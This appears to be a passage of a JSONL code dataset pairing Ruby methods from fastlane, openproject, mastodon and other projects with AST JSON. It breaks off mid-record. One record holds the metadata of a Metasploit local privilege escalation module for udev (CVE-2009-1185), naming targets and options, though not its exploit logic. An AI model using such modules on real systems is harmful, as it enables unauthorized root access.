{"repo_name":"fastlane","file_path":"./repos/fastlane/pilot/lib/pilot/build_manager.rb","start_line":108,"raw_source":"def check_for_changelog_or_whats_new!(options)\n if !has_changelog_or_whats_new?(options) && options[:distribute_external] == true\n if UI.interactive?\n options[:changelog] = UI.input(\"No changelog provided for new build. You can provide a changelog using the `changelog` option. For now, please provide a changelog here:\")\n else\n UI.user_error!(\"No changelog provided for new build. Please either disable `distribute_external` or provide a changelog using the `changelog` option\")\n end\n end\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_changelog_or_whats_new!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_changelog_or_whats_new?\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"distribute_external\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"interactive?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"changelog\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"input\",{\"type\":\"str\",\"children\":[\"No changelog provided for new build. You can provide a changelog using the `changelog` option. For now, please provide a changelog here:\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"No changelog provided for new build. Please either disable `distribute_external` or provide a changelog using the `changelog` option\"]}]}]},null]}]}","id":"42da3a95-dbee-4ca4-a99a-d98a6f6e784b"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app_category.rb","start_line":81,"raw_source":"def self.map_category_from_itc(category)\n category = category.gsub(\"MZGenre.\", \"\")\n return nil if category.empty?\n LEGACY_CATEGORY_ITC_MAP[category] || category\n end","complexity_score":6.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"map_category_from_itc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"MZGenre.\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LEGACY_CATEGORY_ITC_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},{\"type\":\"lvar\",\"children\":[\"category\"]}]}]}]}","id":"88342a8b-c7a7-4816-85a4-3e37c25dc66c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/udev_netlink.rb","start_line":14,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n {\n 'Name' => 'Linux udev Netlink Local Privilege Escalation',\n 'Description' => %q{\n Versions of udev < 1.4.1 do not verify that netlink messages are\n coming from the kernel. This allows local users to gain privileges by\n sending netlink messages from userland.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'kcope', # discovery\n 'Jon Oberheide', # 95-udev-late.rules technique\n 'egypt' # metasploit module\n ],\n 'Platform' => [ 'linux' ],\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\n 'References' => [\n [ 'CVE', '2009-1185' ],\n [ 'OSVDB', '53810' ],\n [ 'BID', '34536' ]\n ],\n 'Targets' => [\n [ 'Linux x86', { 'Arch' => ARCH_X86 } ],\n [ 'Linux x64', { 'Arch' => ARCH_X64 } ],\n # [ 'Command payload', { 'Arch' => ARCH_CMD } ],\n ],\n 'DefaultOptions' => { 'WfsDelay' => 2 },\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2009-04-16',\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_sys_process_get_processes\n ]\n }\n },\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n },\n }\n )\n )\n register_options [\n OptInt.new(\"NetlinkPID\", [ false, \"Usually udevd pid-1. Meterpreter sessions will autodetect\" ])\n ]\n register_advanced_options [\n OptString.new(\"WritableDir\", [ true, \"A directory where we can write files (must not be mounted noexec)\", \"/tmp\" ])\n ]\n end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux udev Netlink Local Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Versions of udev < 1.4.1 do not verify that netlink messages are\\n\"]},{\"type\":\"str\",\"children\":[\" coming from the kernel. This allows local users to gain privileges by\\n\"]},{\"type\":\"str\",\"children\":[\" sending netlink messages from userland.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"kcope\"]},{\"type\":\"str\",\"children\":[\"Jon Oberheide\"]},{\"type\":\"str\",\"children\":[\"egypt\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-1185\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"53810\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"34536\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-04-16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_process_get_processes\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"NetlinkPID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Usually udevd pid-1. Meterpreter sessions will autodetect\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WritableDir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A directory where we can write files (must not be mounted noexec)\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]}]}]}]}]}]}","id":"2f87d2b8-99f9-4a80-9816-6b0b3a2d30da"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/chronic_duration.rb","start_line":327,"raw_source":"def filter_by_type(string) # rubocop:disable Metrics/AbcSize\n chrono_units_list = duration_units_list.reject { |v| v == \"weeks\" }\n\n if string.delete(\" \")&.match?(time_matcher)\n res = []\n string.delete(\" \").split(\":\").reverse.each_with_index do |v, k|\n return unless chrono_units_list[k] # rubocop:disable Lint/NonLocalExitFromIterator\n\n res << \"#{v} #{chrono_units_list[k]}\"\n end\n res = res.reverse.join(\" \")\n else\n res = string\n end\n res\n end","complexity_score":28.9,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chrono_units_list\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duration_units_list\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"==\",{\"type\":\"str\",\"children\":[\"weeks\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"delete\",{\"type\":\"str\",\"children\":[\" \"]}]},\"match?\",{\"type\":\"send\",\"children\":[null,\"time_matcher\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"delete\",{\"type\":\"str\",\"children\":[\" \"]}]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]},\"reverse\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chrono_units_list\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chrono_units_list\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"reverse\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"309d147e-c3d5-4f12-bac9-279b83b524d3"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/patches/project_patch.rb","start_line":30,"raw_source":"def self.included(base)\n base.class_eval do\n has_many :ifc_models, class_name: \"Bim::IfcModels::IfcModel\", foreign_key: \"project_id\"\n end\n end","complexity_score":7.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"sym\",\"children\":[\"ifc_models\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"Bim::IfcModels::IfcModel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"str\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"c4f42fa1-03b6-44b2-9804-82fb653b2302"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/photoprism/import_geodata.rb","start_line":35,"raw_source":"def find_or_create_import(json_data)\n user.imports.find_or_initialize_by(\n name: file_name(json_data),\n source: :photoprism_api\n )\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_import\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"imports\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"file_name\",{\"type\":\"lvar\",\"children\":[\"json_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"photoprism_api\"]}]}]}]}]}","id":"fa7cb116-27b2-48c9-923a-2564e7c1b3b3"} {"repo_name":"liquid","file_path":"./repos/liquid/performance/shopify/shop_filter.rb","start_line":91,"raw_source":"def pluralize(input, singular, plural)\n input == 1 ? singular : plural\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"pluralize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"singular\"]},{\"type\":\"arg\",\"children\":[\"plural\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"singular\"]},{\"type\":\"lvar\",\"children\":[\"plural\"]}]}]}","id":"92106fb9-69f6-42e9-8351-2ea1b164b3df"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/op_primer/border_box_table_component.rb","start_line":84,"raw_source":"def column_title(name)\n _, header_options = headers.assoc(name)\n header_options&.dig(:caption)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"column_title\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"header_options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"assoc\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_options\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"caption\"]}]}]}]}","id":"16600e4e-48cb-4b3b-b41d-60dc1f8574ef"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/device.rb","start_line":70,"raw_source":"def all_watches\n client.devices_by_class('watch').map { |device| self.factory(device) }\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"all_watches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"devices_by_class\",{\"type\":\"str\",\"children\":[\"watch\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"factory\",{\"type\":\"lvar\",\"children\":[\"device\"]}]}]}]}","id":"a51a2236-a6a0-4041-8b29-46edc0f8bd08"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/float_division.rb","start_line":148,"raw_source":"def correct_from_slash_to_fdiv(corrector, node, receiver, argument)\n receiver_source = extract_receiver_source(receiver)\n argument_source = extract_receiver_source(argument)\n\n if argument.respond_to?(:parenthesized?) && !argument.parenthesized?\n argument_source = \"(#{argument_source})\"\n end\n\n corrector.replace(node, \"#{receiver_source}.fdiv#{argument_source}\")\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_from_slash_to_fdiv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"receiver\"]},{\"type\":\"arg\",\"children\":[\"argument\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"receiver_source\",{\"type\":\"send\",\"children\":[null,\"extract_receiver_source\",{\"type\":\"lvar\",\"children\":[\"receiver\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"argument_source\",{\"type\":\"send\",\"children\":[null,\"extract_receiver_source\",{\"type\":\"lvar\",\"children\":[\"argument\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"parenthesized?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument\"]},\"parenthesized?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"argument_source\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument_source\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver_source\"]}]},{\"type\":\"str\",\"children\":[\".fdiv\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument_source\"]}]}]}]}]}]}","id":"16c1d4f7-ac35-4b65-a280-4c27a62884d0"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/time_entries/days_and_hours_form.rb","start_line":89,"raw_source":"def end_time_in_local_time\n return if model.end_timestamp.blank?\n\n model.end_timestamp.in_time_zone(model.user.time_zone).strftime(\"%H:%M\")\n end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"end_time_in_local_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"end_timestamp\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"end_timestamp\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"user\"]},\"time_zone\"]}]},\"strftime\",{\"type\":\"str\",\"children\":[\"%H:%M\"]}]}]}]}","id":"bf9a52d7-2911-469b-b3f2-8caf9e9ec1c3"} {"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20240221195828_create_notification_requests.rb","start_line":4,"raw_source":"def change\n create_table :notification_requests do |t|\n t.references :account, null: false, foreign_key: { on_delete: :cascade }, index: false\n t.references :from_account, null: false, foreign_key: { to_table: :accounts, on_delete: :cascade }\n t.references :last_status, null: false, foreign_key: { to_table: :statuses, on_delete: :nullify }\n t.bigint :notifications_count, null: false, default: 0\n t.boolean :dismissed, null: false, default: false\n\n t.timestamps\n end\n\n add_index :notification_requests, [:account_id, :from_account_id], unique: true\n add_index :notification_requests, [:account_id, :id], where: 'dismissed = false', order: { id: :desc }\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"notification_requests\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"from_account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"accounts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"last_status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"statuses\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"notifications_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"dismissed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"notification_requests\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"from_account_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"notification_requests\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"dismissed = false\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}]}]}]}","id":"aa85d72c-f2db-4c42-b77f-5ef0e1c8ae22"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/support/fake_s3.rb","start_line":60,"raw_source":"def operation_called?(name)\n @operations.any? do |operation|\n operation[:name] == name && (block_given? ? yield(operation) : true)\n end\n 